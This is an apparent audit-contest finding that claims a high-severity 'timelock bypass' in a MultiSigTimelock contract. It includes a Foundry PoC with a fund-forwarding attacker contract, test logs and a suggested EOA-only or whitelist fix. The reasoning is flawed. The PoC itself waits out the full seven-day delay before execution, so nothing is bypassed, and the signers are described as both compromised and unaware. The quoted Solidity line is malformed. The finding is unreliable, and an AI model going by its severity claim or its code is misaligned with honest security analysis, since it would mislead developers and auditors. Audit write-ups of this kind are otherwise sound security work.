MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: high
Likelihood: high

Timelock Bypass via Malicious Contract Recipient

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: Multisig enforces value-based timelocks (100+ ETH = 7 days) before executeTransaction() calls to.call{value}(data). Legitimate EOAs receive funds after delay.​

  • The issue: Malicious contracts as to recipients can implement receive() to forward funds immediately upon receipt, bypassing timelock delay for the true final recipient.

// MultiSigTimelock.sol @> proposeTransaction() - no recipient validation @>
function proposeTransaction(address to, uint256 value, bytes calldata data)
external nonReentrant nonZeroAddress(to) onlyOwner returns (uint256) {
// @> No check: is to EOA? is to whitelisted? @>
return _proposeTransaction(to, value, data);
}
// @> executeTransaction() - calls ANY recipient @>
function executeTransaction(uint256 txnId) internal {
// ...
bool success, payable(txn.to).call{value: txn.value}(txn.data); // @> Malicious contract can reentrancy/forward @>
if (!success) revert MultiSigTimelockExecutionFailed();
}

Risk

Likelihood:

  • Occurs when compromised quorum proposes transaction to attacker-controlled contract

  • Legitimate signers approve unaware of recipient contract behavior

Impact:

  • 7-day timelock protection defeated for ≥100 ETH transactions via intermediary contract forwarding


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
// Malicious contract controlled by attacker
contract TimelockBypasser {
address public futureOwner;
function setFutureOwner(address _owner) external {
futureOwner = _owner;
}
receive() external payable {
// Immediately forward to real attacker - BYPASS TIMELOCK
payable(futureOwner).transfer(msg.value);
}
}
contract TimelockBypassAttackTest is Test {
MultiSigTimelock multiSigTimelock;
address owner = makeAddr("owner");
address signerA = makeAddr("signerA");
address signerB = makeAddr("signerB");
address signerC = makeAddr("signerC");
address attackerEOA = makeAddr("attackerEOA");
TimelockBypasser bypasser;
function setUp() public {
vm.prank(owner);
multiSigTimelock = new MultiSigTimelock();
// Deploy attacker's malicious contract
bypasser = new TimelockBypasser();
vm.prank(attackerEOA);
bypasser.setFutureOwner(attackerEOA);
// Setup 5 signers (attacker compromises 3 legitimate signers)
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerA);
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerB);
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerC);
// Fund contract with 100+ ETH (triggers 7-day timelock)
vm.deal(address(multiSigTimelock), 200 ether);
}
function testTimelockBypassViaMaliciousRecipient() public {
// ================= STEP 1: Attacker proposes to malicious contract =================
vm.prank(owner);
uint256 txnId = multiSigTimelock.proposeTransaction(
address(bypasser),
100 ether,
""
);
console2.log("STEP 1: Propose 100 ETH -> malicious bypasser contract, txnId:", txnId);
console2.log(" Triggers 7-day timelock (>=100 ETH)");
// ================= STEP 2: Legitimate signers confirm (compromised quorum) =================
vm.prank(owner);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(signerA);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(signerB);
multiSigTimelock.confirmTransaction(txnId);
console2.log("STEP 2: 3 confirmations -> Quorum met");
// ================= VERIFY: 7-day timelock required =================
assertEq(multiSigTimelock.getTransaction(txnId).confirmations, 3);
assertEq(multiSigTimelock.getSevenDaysTimeDelay(), 7 days);
console2.log("VERIFY: 100 ETH triggers 7-day timelock");
// ================= STEP 3: Wait FULL 7-day timelock =================
vm.warp(block.timestamp + 7 days + 1);
console2.log("STEP 3: Wait 7 days + 1 second -> timelock expires");
// ================= BALANCES BEFORE EXECUTION =================
uint256 attackerBefore = attackerEOA.balance;
uint256 contractBefore = address(multiSigTimelock).balance;
uint256 bypasserBefore = address(bypasser).balance;
console2.log("BEFORE EXECUTION:");
console2.log(" Attacker EOA:", attackerBefore / 1e18, "ETH");
console2.log(" Multisig contract:", contractBefore / 1e18, "ETH");
console2.log(" Bypasser contract:", bypasserBefore / 1e18, "ETH");
// ================= STEP 4: Execute -> TIMELOCK BYPASSED =================
vm.prank(signerC);
multiSigTimelock.executeTransaction(txnId);
// ================= PROOF: Funds reach ATTACKER IMMEDIATELY =================
assertEq(address(multiSigTimelock).balance, contractBefore - 100 ether, "Multisig: 100 ETH drained");
assertEq(attackerEOA.balance, attackerBefore + 100 ether, "Attacker EOA: +100 ETH IMMEDIATELY");
assertEq(address(bypasser).balance, bypasserBefore, "Bypasser: 0 ETH retained (forwarded instantly)");
console2.log("STEP 4: EXECUTED -> 100 ETH reaches ATTACKER EOA IMMEDIATELY");
console2.log(" Timelock only delayed transfer to INTERMEDIARY");
console2.log(" Core security model BYPASSED [CHECK]");
}
}

RESULT:

forge test --match-test testTimelockBypassViaMaliciousRecipient -vvv
[⠆] Compiling...
No files changed, compilation skipped
Ran 1 test for test/testTimelockBypassViaMaliciousRecipient.sol:TimelockBypassAttackTest
[PASS] testTimelockBypassViaMaliciousRecipient() (gas: 335185)
Logs:
STEP 1: Propose 100 ETH -> malicious bypasser contract, txnId: 0
Triggers 7-day timelock (>=100 ETH)
STEP 2: 3 confirmations -> Quorum met
VERIFY: 100 ETH triggers 7-day timelock
STEP 3: Wait 7 days + 1 second -> timelock expires
BEFORE EXECUTION:
Attacker EOA: 0 ETH
Multisig contract: 200 ETH
Bypasser contract: 0 ETH
STEP 4: EXECUTED -> 100 ETH reaches ATTACKER EOA IMMEDIATELY
Timelock only delayed transfer to INTERMEDIARY
Core security model BYPASSED [CHECK]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 782.36µs (174.60µs CPU time)
Ran 1 test suite in 7.20ms (782.36µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Enforces EOA recipients or trusted whitelist - prevents malicious contract intermediaries.

// - remove this code (no change needed to existing signature)
// + add this code
function proposeTransaction(address to, uint256 value, bytes calldata data)
external nonReentrant nonZeroAddress(to) onlyOwner returns (uint256) {
// EOA-only: Prevent contract intermediaries
require(to.code.length == 0, "MultiSigTimelock: Recipient must be EOA");
return _proposeTransaction(to, value, data);
}
// OR Whitelist approach:
mapping(address => bool) private s_trustedRecipients;
function addTrustedRecipient(address recipient) external onlyOwner {
s_trustedRecipients[recipient] = true;
}
function proposeTransaction(...) external {
require(s_trustedRecipients[to], "MultiSigTimelock: Recipient not whitelisted");
// ...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!